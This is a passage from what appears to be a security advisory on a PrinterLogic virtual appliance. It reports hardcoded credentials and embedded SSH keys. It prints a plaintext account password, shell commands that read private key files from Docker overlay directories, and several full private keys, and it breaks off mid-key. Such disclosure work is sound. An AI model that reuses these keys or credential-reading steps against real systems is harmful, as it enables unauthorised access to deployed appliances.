 .  PrinterLogic Virtual Appliance Host Version: 1.0.730
 .
 .  STATUS: running
 .      IP: \4
 .
 .  Your application is running and may be accessed at: 
 .    http://10.105.0.240/admin
 .
 .  To change network settings please login:
 .    User: network
 .    password: gl3wW5pwQW
 .
   . . . . . . . . . . . . . . . . . . . . . . . . . . . .

root@printerlogic:/etc#
</code></pre>
<p>An attacker with a shell on the appliance can use the <code>network</code> account to change network parameters.</p>
<p><a id="va-hardocoded-private-ssh-keys"></a></p>
<h2>Details - Hardcoded SSH keys + private SSH keys for [redacted]@printerlogic.com</h2>
<p>4 private SSH keys have been identified inside overlay file systems.</p>
<p>Private SSH key for [redacted]@printerlogic.com:</p>
<pre><code>root@printerlogic:/var/lib/docker/overlay2# cat l/52OZV2SUNBKDGHGOMZIF7THOG4/var/www/app/.docker-config/buildkey/key
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----
root@printerlogic:/var/lib/docker/overlay2# cat l/52OZV2SUNBKDGHGOMZIF7THOG4/var/www/app/.docker-config/buildkey/key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNyc+v6JH6q5M47st8Cs3a7ekwr7TW4j6GCkXupqnDhdcIRXkb9pXyF+0dfPk3X3DrZ1yYSjx9z848POhmecIA9OGAMBqewAQllS5GrkdTH7mAZ1ECTvrjzkZnHAEz95ED2TlI20n4xY06yXZbLIQhM9DjhTlNDP0Vz51spn/xKRyN2hk/MC3TqVRiePkxPhp54OanuxQj74Xes905vFCIXukqKslRKXuZMiPPBr+rXma99Ev09APkJGu+Gf12d4c+7A+iOCDjphQ7IgzMS5qegKVFynX1UPoTUClUZN/oBVOitu3EVAajY7BOOGE4K+EAtxRjiwYfNAb2tajXMcDV8BcKiPu1mR23Q+sr39GOZgfuEcIQt7NvqMnBtNRomOBT7L4JJJ83G7kqP7BtDPS7OTjxNthPQNIMIgPC+rt9RCR/LlUCRSXNVi11el/L1zntHUfNNhsR+s94qjiS9PeXOqqDplpAEW7qIA6OW27cMJHaSHT0TbhZMyMj5qTTf4fUGkfKg5S5+yOUc8Y+ZVLD/62Tmc4EVFMKExB6AY8sormW4KnStBOH//4N0+RobSinClH7pAs8t91H9EZMOb1HWLuh9sC6O6I8Y/7VNjpMRMwPjTVxyWioPfvXL/nYAarQx2T8vHJ0PPhPw9rv7HFg28j7SmwQUJJArOIx1N0d+w== [redacted]@printerlogic.com
root@printerlogic:/var/lib/docker/overlay2#
</code></pre>
<p>It is possible to extract all these private keys:</p>
<pre><code>kali% ls -la 
total 44
drwxr-xr-x 2 user user 4096 Jan 27 05:20 .
drwxr-xr-x 7 user user 4096 Jan 27 06:54 ..
-rw-r--r-- 1 user user  757 Jan 27 05:20 0c6cde480b4d75d9c9a82b8a12c6d445895bb825e9af124a45a30ebad50bda2f
-rw-r--r-- 1 user user 3298 Jan 27 05:20 2410f7c3221fd364bbd3973e9a9d4a5822470220de3fc62b3f03c805b3c0d18a
-rw-r--r-- 1 user user  554 Jan 27 05:20 4ea7f52240de54a12d5e69ca3e466ae1b0104237f170a52e464571d5ba31fa30
-rw-r--r-- 1 user user 3247 Jan 27 05:20 788a46c826899b5e540230665f70b01d6109e3dfd3fff563c2dde28a8d5d9cab
-rwxr-xr-x 1 user user  756 Jan 27 05:20 83159c9f12a524d61211d7d1c90be6f0adc28af47f005642984a38535635ba98
-rw-r--r-- 1 user user  758 Jan 27 05:20 ad8dd47e588d13a71445fc4094cf235134345c75078717a65edd99570ea09b86
-rw-r--r-- 1 user user 2578 Jan 27 05:20 ba6d3cc939560607ddb022268532711ebe04a4d3a9091b8e8c021fe18d3e54ad
-rwxr-xr-x 1 user user 3246 Jan 27 05:20 e4eef378452637b12bdf3be4b094dbf31815aa135eac4bd32f705cd74e890909
-rw-r--r-- 1 user user 3252 Jan 27 05:20 f8b7e55b72b82e3dcfc3801441522e87cf9b3a9c8bc10e66ad7ba421ee5cac9c
kali% for i in 0c6cde480b4d75d9c9a82b8a12c6d445895bb825e9af124a45a30ebad50bda2f  4ea7f52240de54a12d5e69ca3e466ae1b0104237f170a52e464571d5ba31fa30  83159c9f12a524d61211d7d1c90be6f0adc28af47f005642984a38535635ba98  ad8dd47e588d13a71445fc4094cf235134345c75078717a65edd99570ea09b86; do cat $i;echo;done
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNyc+v6JH6q5M47st8Cs3a7ekwr7TW4j6GCkXupqnDhdcIRXkb9pXyF+0dfPk3X3DrZ1yYSjx9z848POhmecIA9OGAMBqewAQllS5GrkdTH7mAZ1ECTvrjzkZnHAEz95ED2TlI20n4xY06yXZbLIQhM9DjhTlNDP0Vz51spn/xKRyN2hk/MC3TqVRiePkxPhp54OanuxQj74Xes905vFCIXukqKslRKXuZMiPPBr+rXma99Ev09APkJGu+Gf12d4c+7A+iOCDjphQ7IgzMS5qegKVFynX1UPoTUClUZN/oBVOitu3EVAajY7BOOGE4K+EAtxRjiwYfNAb2tajXMcDV8BcKiPu1mR23Q+sr39GOZgfuEcIQt7NvqMnBtNRomOBT7L4JJJ83G7kqP7BtDPS7OTjxNthPQNIMIgPC+rt9RCR/LlUCRSXNVi11el/L1zntHUfNNhsR+s94qjiS9PeXOqqDplpAEW7qIA6OW27cMJHaSHT0TbhZMyMj5qTTf4fUGkfKg5S5+yOUc8Y+ZVLD/62Tmc4EVFMKExB6AY8sormW4KnStBOH//4N0+RobSinClH7pAs8t91H9EZMOb1HWLuh9sC6O6I8Y/7VNjpMRMwPjTVxyWioPfvXL/nYAarQx2T8vHJ0PPhPw9rv7HFg28j7SmwQUJJArOIx1N0d+w== [redacted]@printerlogic.com
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2M2xijRbElYoTFbvt4gHISVqO9fY7Ad4Bz/cspildbrk6rFRx1M5WD5PLeS6flg1sBUotNgbQih1e/P5z/rwEHF9JZvH/4Sk3nAa+0+hym6vdPZLa6iEq6xbyyQ5jyTs4NjphCXpSkHK3skc8exxkM2H0mUi+7hj4l47UnetLck9rV5TvVHs9gUhjhkiYm1FlesT5WMF6ExOotS3ndi8ZydFdQHbuGJsMKIGyD1d699TqoiP/o82PgKMmuL64APRgbgzVYyyMvFGctg3Pw7dbPwkLoFTQf2gVLdEXm9OBDyyx6/lb4gIcLTrMnZ5zYj08qeo3K8jc4TpyYUVQCo4IHe7O0Ck3CG0oRsXIXVWNK8UMC6hXTQ2zKGN2rX9zhbOvAVhZGJ6/bcKnrxOvGQltdgoV2wTEp0IvqLQg4dOl0eaDT5kPyETdxToaizB85FPrOeWYuYY9SSciViNR945nkcEwq4ALE+fZGSYxIc4PxoN6ygjVxcyvWkLhV2sv6Wk= 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNyc+v6JH6q5M47st8Cs3a7ekwr7TW4j6GCkXupqnDhdcIRXkb9pXyF+0dfPk3X3DrZ1yYSjx9z848POhmecIA9OGAMBqewAQllS5GrkdTH7mAZ1ECTvrjzkZnHAEz95ED2TlI20n4xY06yXZbLIQhM9DjhTlNDP0Vz51spn/xKRyN2hk/MC3TqVRiePkxPhp54OanuxQj74Xes905vFCIXukqKslRKXuZMiPPBr+rXma99Ev09APkJGu+Gf12d4c+7A+iOCDjphQ7IgzMS5qegKVFynX1UPoTUClUZN/oBVOitu3EVAajY7BOOGE4K+EAtxRjiwYfNAb2tajXMcDV8BcKiPu1mR23Q+sr39GOZgfuEcIQt7NvqMnBtNRomOBT7L4JJJ83G7kqP7BtDPS7OTjxNthPQNIMIgPC+rt9RCR/LlUCRSXNVi11el/L1zntHUfNNhsR+s94qjiS9PeXOqqDplpAEW7qIA6OW27cMJHaSHT0TbhZMyMj5qTTf4fUGkfKg5S5+yOUc8Y+ZVLD/62Tmc4EVFMKExB6AY8sormW4KnStBOH//4N0+RobSinClH7pAs8t91H9EZMOb1HWLuh9sC6O6I8Y/7VNjpMRMwPjTVxyWioPfvXL/nYAarQx2T8vHJ0PPhPw9rv7HFg28j7SmwQUJJArOIx1N0d+w== [redacted]@printerlogic.com
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNyc+v6JH6q5M47st8Cs3a7ekwr7TW4j6GCkXupqnDhdcIRXkb9pXyF+0dfPk3X3DrZ1yYSjx9z848POhmecIA9OGAMBqewAQllS5GrkdTH7mAZ1ECTvrjzkZnHAEz95ED2TlI20n4xY06yXZbLIQhM9DjhTlNDP0Vz51spn/xKRyN2hk/MC3TqVRiePkxPhp54OanuxQj74Xes905vFCIXukqKslRKXuZMiPPBr+rXma99Ev09APkJGu+Gf12d4c+7A+iOCDjphQ7IgzMS5qegKVFynX1UPoTUClUZN/oBVOitu3EVAajY7BOOGE4K+EAtxRjiwYfNAb2tajXMcDV8BcKiPu1mR23Q+sr39GOZgfuEcIQt7NvqMnBtNRomOBT7L4JJJ83G7kqP7BtDPS7OTjxNthPQNIMIgPC+rt9RCR/LlUCRSXNVi11el/L1zntHUfNNhsR+s94qjiS9PeXOqqDplpAEW7qIA6OW27cMJHaSHT0TbhZMyMj5qTTf4fUGkfKg5S5+yOUc8Y+ZVLD/62Tmc4EVFMKExB6AY8sormW4KnStBOH//4N0+RobSinClH7pAs8t91H9EZMOb1HWLuh9sC6O6I8Y/7VNjpMRMwPjTVxyWioPfvXL/nYAarQx2T8vHJ0PPhPw9rv7HFg28j7SmwQUJJArOIx1N0d+w== [redacted]@printerlogic.com

kali% cat 2410f7c3221fd364bbd3973e9a9d4a5822470220de3fc62b3f03c805b3c0d18a
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----
kali%

kali% cat ba6d3cc939560607ddb022268532711ebe04a4d3a9091b8e8c021fe18d3e54ad
-----BEGIN OPENSSH PRIVATE KEY-----
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
h30NQI0QFWZrEFAAAAAAEC
-----END OPENSSH PRIVATE KEY-----
kali%

kali% cat e4eef378452637b12bdf3be4b094dbf31815aa135eac4bd32f705cd74e890909
-----BEGIN RSA PRIVATE KEY-----
MIIJKgIBAAKCAgEAzcnPr+iR+quTOO7LfArN2u3pMK+01uI+hgpF7qapw4XXCEV5
G/aV8hftHXz5N19w62dcmEo8fc/OPDzoZnnCAPThgDAansAEJZUuRq5HUx+5gGdR
Ak76485GZxwBM/eRA9k5SNtJ+MWNOsl2WyyEITPQ44U5TQz9Fc+dbKZ/8SkcjdoZ
PzAt06lUYnj5MT4aeeDmp7sUI++F3rPdObxQiF7pKirJUSl7mTIjzwa/q15mvfRL
9PQD5CRrvhn9dneHPuwPojgg46YUOyIMzEuanoClRcp19VD6E1ApVGTf6AVTorbt
xFQGo2OwTjhhOCvhALcUY4sGHzQG9rWo1zHA1fAXCoj7tZkdt0PrK9/RjmYH7hHC
ELezb6jJwbTUaJjgU+y+CSSfNxu5Kj+wbQz0uzk48TbYT0DSDCIDwvq7fUQkfy5V
AkUlzVYtdXpfy9c57R1HzTYbEfrPeKo4kvT3lzqqg6ZaQBFu6iAOjltu3DCR2kh0
9E24WTMjI+ak03+H1BpHyoOUufsjlHPGPmVSw/+tk5nOBFRTChMQegGPLKK5luCp
0rQTh//+DdPkaG0opwpR+6QLPLfdR/RGTDm9R1i7ofbAujuiPGP+1TY6TETMD401
ccloqD371y/52AGq0Mdk/LxydDz4T8Pa7+xxYNvI+0psEFCSQKziMdTdHfsCAwEA
AQKCAgEAjFczEg4Tb9YOwubnUqKznLhfLVrGgz0r0pGy+3whjjv6V6O5Yj6aJ831
YQTXmNG32nJVDW6jLlHHngETpL8odSqLlrY3kUf2DANe2ckEz0V1ZoIPFvnx0+Xa
0Xqhv2T4Op2rmWojWkqvdAXsd2U2fsYtkNxMJaXT+0npXC14V2joFj1EtnkO56g0
6isCFnj56WBdLMpCg/dXXndfSX6JlVbUwHMJdBZMOj+deBRsJlxsyOKP4m9/L9k+
uRhUaLQ/QcQPLVwF4fpjFai0/aYZvjqRe7UFGNWulfk3Flzs7fij/vWt1RRQqqDT
naSJeJtECQ7SEsi+1gzPKvTcPlWp4YN3GlMchWMQKmH7xu6LVTZEtmcNsIFwGmzT
xiWO+j9rJlAaRjJ5RDgvHl562IcHDCUWY/U0UAXMdJMpAsOmdvt/FRfsNI7dUoJV
wEGk/WEwyDml5OatHE9rTHMlXSsztg7KPJWXhsPRsEwQQD1hzZibmfvsbxnrlNR/
XnBvgSzzVxSvKU61bYke8k/YNxjMmYvJx2sJDE+FMIbkGFfkidoeajHD94Y14Lhd
8dXXZN+yUWBgTkROfoyU8YopCVvf4X9mdiibPKJQ4Y3BhbMppcoi5oWpdXdhKwQl
Xx7rCXcB3kkb35x8bYo+evQxfN4hzBHvnvLIWJQUKn+CTdUz3kECggEBAOxOpu1S
m+xmfS8D3+STSoaKPGSRmZ4q2T9Nswk8NcCFsS8/ZkqK6UoRfymwKVH5pCl1WZ37
4Fby4O+yiO8noklc26Da5mO2lRoNsc1LbPMqyJCvlERe7eh9+wNjvivDQITaypD4
